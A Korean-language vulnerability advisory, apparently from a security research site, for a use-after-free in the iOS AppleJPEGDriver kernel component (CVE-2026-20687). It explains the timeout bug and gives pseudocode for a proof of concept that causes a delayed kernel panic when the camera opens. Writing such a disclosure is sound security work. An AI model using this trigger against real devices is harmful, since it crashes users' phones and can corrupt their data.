
CVE-2026-20687: AppleJPEGDriver startDecoder 타임아웃 UAF — iOS/macOS 커널 취약점으로 지연 패닉 유발 (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 · Enfilade · enfilade.io
구성 요소: 커널
영향: 앱이 예기치 않은 시스템 종료를 유발하거나 커널 메모리에 쓰기를 수행할 수 있습니다.
설명: 향상된 메모리 관리를 통해 use after free 문제가 해결되었습니다.
| iOS | 26.3 (23D125) (테스트 완료) |
| macOS | — |
| 구성 요소 | AppleJPEGDriver |
| 패치 버전 | iOS 26.4 / iPadOS 26.4 |
| 하드웨어 | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) |
PoC를 실행하면 기기가 커널 패닉에 빠집니다. 실행 전에 작업을 저장하세요. 반복적인 패닉은 파일 시스템 손상을 유발할 수 있습니다. 보안 연구 목적으로만 사용하세요.
startDecoder_sync의 타임아웃 경로는 요청을 해제하지만 임베디드 큐 노드 포인터를 코덱별 벡터에 남겨둡니다. 이후 큐 순회가 오래된 노드를 역참조하고, MTE 태그 검사 적용 하에서 커널이 패닉에 빠집니다. 패닉은 일반적으로 이후 동기식 JPEG 디코딩이 실행될 때까지 지연됩니다. iPhone에서는 카메라 앱을 열 때 이 현상이 확실하게 발생합니다.
// 드라이버를 준비합니다. 패닉은 일반적으로 카메라가 열릴 때까지 지연됩니다.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// 이후 카메라를 열면 다음이 트리거됩니다:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: (req + 0x78)을 큐에서 제거하지 않음
// 더 나중에 (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // 오래된 값: node_ptr == (해제된 req + 0x78)
req2 = *(node_ptr + 0x8); // UAF 읽기 -> MTE 태그 오류 -> 패닉
ios-app/Test.xcodeproj를 엽니다.LICENSE를 참조하세요.